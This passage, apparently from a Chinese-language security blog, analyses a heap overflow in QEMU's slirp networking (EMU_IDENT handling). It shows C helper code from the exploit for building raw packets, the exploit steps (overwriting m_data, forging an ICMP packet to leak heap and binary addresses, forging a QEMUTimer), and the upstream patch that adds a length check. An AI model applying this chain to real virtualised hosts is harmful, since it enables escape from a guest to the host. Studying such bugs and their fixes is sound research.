chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Build IPv4 TCP pseudo-header and call checksum function.
uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
int payloadlen) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int i, chksumlen = 0;

// ptr points to beginning of buffer buf
ptr = &buf[0];

// Copy source IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));
ptr += sizeof(iphdr.ip_src.s_addr);
chksumlen += sizeof(iphdr.ip_src.s_addr);

// Copy destination IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));
ptr += sizeof(iphdr.ip_dst.s_addr);
chksumlen += sizeof(iphdr.ip_dst.s_addr);

// Copy zero field to buf (8 bits)
*ptr = 0;
ptr++;
chksumlen += 1;

// Copy transport layer protocol to buf (8 bits)
memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));
ptr += sizeof(iphdr.ip_p);
chksumlen += sizeof(iphdr.ip_p);

// Copy TCP length to buf (16 bits)
svalue = htons(sizeof(tcphdr) + payloadlen);
memcpy(ptr, &svalue, sizeof(svalue));
ptr += sizeof(svalue);
chksumlen += sizeof(svalue);

// Copy TCP source port to buf (16 bits)
memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));
ptr += sizeof(tcphdr.th_sport);
chksumlen += sizeof(tcphdr.th_sport);

// Copy TCP destination port to buf (16 bits)
memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));
ptr += sizeof(tcphdr.th_dport);
chksumlen += sizeof(tcphdr.th_dport);

// Copy sequence number to buf (32 bits)
memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));
ptr += sizeof(tcphdr.th_seq);
chksumlen += sizeof(tcphdr.th_seq);

// Copy acknowledgement number to buf (32 bits)
memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));
ptr += sizeof(tcphdr.th_ack);
chksumlen += sizeof(tcphdr.th_ack);

// Copy data offset to buf (4 bits) and
// copy reserved bits to buf (4 bits)
cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy(ptr, &cvalue, sizeof(cvalue));
ptr += sizeof(cvalue);
chksumlen += sizeof(cvalue);

// Copy TCP flags to buf (8 bits)
memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));
ptr += sizeof(tcphdr.th_flags);
chksumlen += sizeof(tcphdr.th_flags);

// Copy TCP window size to buf (16 bits)
memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));
ptr += sizeof(tcphdr.th_win);
chksumlen += sizeof(tcphdr.th_win);

// Copy TCP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy urgent pointer to buf (16 bits)
memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));
ptr += sizeof(tcphdr.th_urp);
chksumlen += sizeof(tcphdr.th_urp);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Allocate memory for an array of chars.
char *allocate_strmem(int len) {
char *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_strmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (char *)malloc(len * sizeof(char));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(char));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_strmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of unsigned chars.
uint8_t *allocate_ustrmem(int len) {
uint8_t *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_ustrmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (uint8_t *)malloc(len * sizeof(uint8_t));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(uint8_t));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of ints.
int *allocate_intmem(int len) {
int *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_intmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (int *)malloc(len * sizeof(int));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(int));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_intmem().\n");
exit(EXIT_FAILURE);
}
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

漏洞调试

exp中我们可以看出漏洞利用的大致流程如下

  1. 首先利用堆溢出将m_data的低二字节覆写为0xb00
  2. 接着触发任意地址写将伪造的eth+ip+icmpcmd字符串写入到刚刚伪造好的地址处
  3. 覆写m_data指针指向我们刚刚伪造的icmp数据包处
  4. 触发icmp响应,泄漏出堆地址和程序基址
  5. 伪造qemutimer

第一步首先需要利用堆溢出覆写m_data的指针的低二字节,这里我们需要申请两个相邻的堆块,其中一个是通过connect获取得到的so->so_rcvbuf空间大小,另一个则是MF=1,即数据流中第一个数据包申请得到的数据结构mbuf,即0x670大小的堆块。

但是这里遇到了一个问题,不知道怎么回事,申请的so->so_rcvmbuf并没有相邻,我试了好多次发现只有一次是相邻的。待解决。

patch

我们可以将代码切换到版本3.1.1,发现其就是暴力的在memcpy前面加了长度的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

if (m->m_len > so_rcv->sb_datalen //增加了检查
- (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;